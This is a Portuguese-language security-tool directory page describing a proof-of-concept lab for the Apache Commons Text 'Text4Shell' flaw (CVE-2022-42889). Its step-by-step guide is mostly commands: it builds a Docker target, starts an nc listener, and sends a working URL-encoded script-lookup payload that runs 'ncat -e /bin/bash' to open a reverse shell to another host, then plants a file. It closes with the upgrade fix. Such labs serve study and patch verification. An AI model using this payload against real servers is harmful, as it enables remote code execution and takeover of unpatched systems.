Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-42889-POC — Uma aplicação dockerize simples que mostra como explorar a vulnerabilidade CVE-2022-42889. | Kitploit
Ferramentas/GitHubGitHub/akshayithape-devops/cve-2022-42889-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoDesenvolvimento de PayloadsLabs e Prática
GitHubakshayithape-devops/cve-2022-42889-poc

CVE-2022-42889-POC

Uma aplicação dockerize simples que mostra como explorar a vulnerabilidade CVE-2022-42889.

Ver Repositório
5116há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-42889-POC

Prova de Conceito para a vulnerabilidade Apache commons-text CVE-2022-42889.

Qual é o problema:

O Apache Commons Text realiza interpolação de variáveis, permitindo que propriedades sejam avaliadas e expandidas dinamicamente. O formato padrão para interpolação é "${prefix:name}", onde "prefix" é usado para localizar uma instância de org.apache.commons.text.lookup.StringLookup que realiza a interpolação. A partir da versão 1.5 até a 1.9, o conjunto de instâncias Lookup padrão incluía interpoladores que poderiam resultar em execução arbitrária de código ou contato com servidores remotos. Esses lookups são: - "script" - executar expressões usando o mecanismo de execução de script da JVM (javax.script) - "dns" - resolver registros dns - "url" - carregar valores de urls, incluindo de servidores remotos. Aplicações que usam os padrões de interpolação nas versões afetadas podem estar vulneráveis à execução remota de código ou contato não intencional com servidores remotos se valores de configuração não confiáveis forem usados.

Versões Afetadas:

Apache Commons Text Versão 1.5 a 1.9

Guia passo a passo para mostrar a vulnerabilidade CVE-2022-42889-POC:

1. Construa a aplicação usando Docker (Aba do Terminal 1)

docker build --tag=test/text4shell .

2. Execute a aplicação (Aba do Terminal 2)

docker run -it -p 80:8080 --name text4shell test/text4shell

3. Abra uma nova aba do terminal e execute o comando abaixo (Aba do Terminal 3)

docker exec -it text4shell /bin/bash

4. Agora é hora de iniciar o listener para reverse shell no seu sistema local (Aba do Terminal 4)

nc -nlvp 8888

5. Teste a aplicação (Aba do Terminal 5)

curl http://localhost/text4shell/attack?search=<anything>

6. Agora é hora de testar o ataque (Aba do Terminal 5)

O ataque pode ser realizado passando uma string "${prefix:name}" onde o prefixo é o lookup mencionado: ${script:javascript:java.lang.Runtime.getRuntime().exec('ncat -e /bin/bash 172.17.0.1 8888')}

curl http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ncat%20-e%20%2Fbin%2Fbash%20172.17.0.1%208888%27%29%7D

7. Vá para a Aba do Terminal 3 e execute os comandos abaixo um por um

pwd
cd /root
pwd
ls

8. Vá para a Aba do Terminal 5 e execute os comandos abaixo um por um

pwd
cd /root
pwd
ls
touch hacked.txt
ls

9. Vá para a Aba do Terminal 3 e execute os comandos abaixo um por um

pwd
ls

Se você conseguir ver o arquivo hacked.txt na Aba do Terminal 3 após o comando ls, o ataque foi executado.

10. Feche todos os terminais

Como corrigir esta vulnerabilidade:

Recomenda-se que os usuários atualizem para o Apache Commons Text 1.10.0, que desabilita os interpoladores problemáticos por padrão.

Mais Informações:

  • NVD-NIST
Baixar ferramenta